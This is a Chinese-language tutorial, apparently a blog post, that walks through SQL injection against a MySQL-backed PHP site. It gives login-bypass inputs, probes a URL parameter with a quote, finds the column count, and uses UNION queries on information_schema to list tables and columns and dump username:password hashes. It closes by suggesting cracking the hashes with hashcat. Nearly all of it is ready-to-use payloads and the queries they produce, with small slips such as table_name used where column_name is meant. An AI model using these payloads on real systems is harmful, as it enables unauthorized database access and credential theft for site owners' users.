mysql注入

用户名密码输入框注入

猜测我们的sql模型:

1: SELECT USER from database WHERE username ='admin' AND password =md5('xenu') limit 1
username :  a' or 1=1 --        注 :-- 是注释符,后面的都不会被解析
得到 : select * from database  where  username = 'a' or 1=1 -- ' and password = md5('xenu') limit 1;

2: select username,pass from users where username="$username" and password = md5('xenu') limit 0,1; 
username :  a" or 1=1 --        注 :-- 是注释符,后面的都不会被解析
得到 : select * from USER  where  username = "a" or 1=1 -- " and password = md5('xenu') limit 1;

访问url注入: index.php?uid=1

检查漏洞

index.php?uid=1'
加上一个‘,如果站点有做参数的校正,过滤,则会正常返回网页,否则会报错则表明站点存在漏洞

示例表

CREATE TABLE admin (
  uid int(10) unsigned NOT NULL AUTO_INCREMENT,
  username varchar(30) NOT NULL DEFAULT '' COMMENT '用户名',
  password varchar(50) NOT NULL DEFAULT '' COMMENT '密码',
  PRIMARY KEY (uid)
) ENGINE=InnoDB AUTO_INCREMENT=114 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;    

获取表有多少列

index.php?uid=5+group+by+3+--+  //+会被转移成空格
得到sql: select * from admin where id = 5 group by 3 --  
order by 3 可以用来查找当前表有多少列, order by 3 不抱错 4包错 则说明表中有3列 否则继续增加group by  的值
直到报错为止

获取版本号

由于上面我们知道了表的列数是3,所以下面我们可以用union 关键字来联合查询
index.php?uid=1+union+all+select+version(),+2,+3+--+
得到 : select * from admin where uid = 1 union all select version(), 2, 3 -- 

获取当前库的所有表名

index.php?uid=1+union+all+select+table_name,+2,+3+from+information_schema.tables+--+
得到: select * from admin where uid = 1 union all select table_name, 2, 3 from information_schema.tables -- 

获取当前库所有的列字段

index.php?uid=1+union+all+select+table_name,+2,+3+from+information_schema.columns+--+ 
得到: select * from admin where uid = 1 union all select column_name, 2, 3 from information_schema.columns -- 
这个数据量太大,没啥意义

获取制定表的字段

index.php?uid=1+union+all+select+column_name,+2,+3+from+information_schema.columns++WHERE+table_name='admin' --+     
得到: select * from admin where uid = 1 union all select column_name, 2, 3 from information_schema.columns WHERE table_name='admin' -- 

查找用户名和密码 concat 字符串拼接函数

index.php?uid=1+union+all+select+concat(username,0x3a,password),+2,+3+from+admin+--+
得到: select * from admin where uid = 1 union all select concat(username,0x3a,password), 2, 3 from admin-- 
admin:9F14974D57DE204E37C11AEAC3EE4940

用特定工具尝试破解密码

这里密码是哈希的,在这种情况下,它是MD5。 现在你需要得到像hashcat,passwordpro(等)一样的哈希破解程序并破解哈希。 哈希值可能与SHA1,MD5等不同。或者有时可能会在页面上显示明文密码。

发表评论

电子邮件地址不会被公开。 必填项已用*标注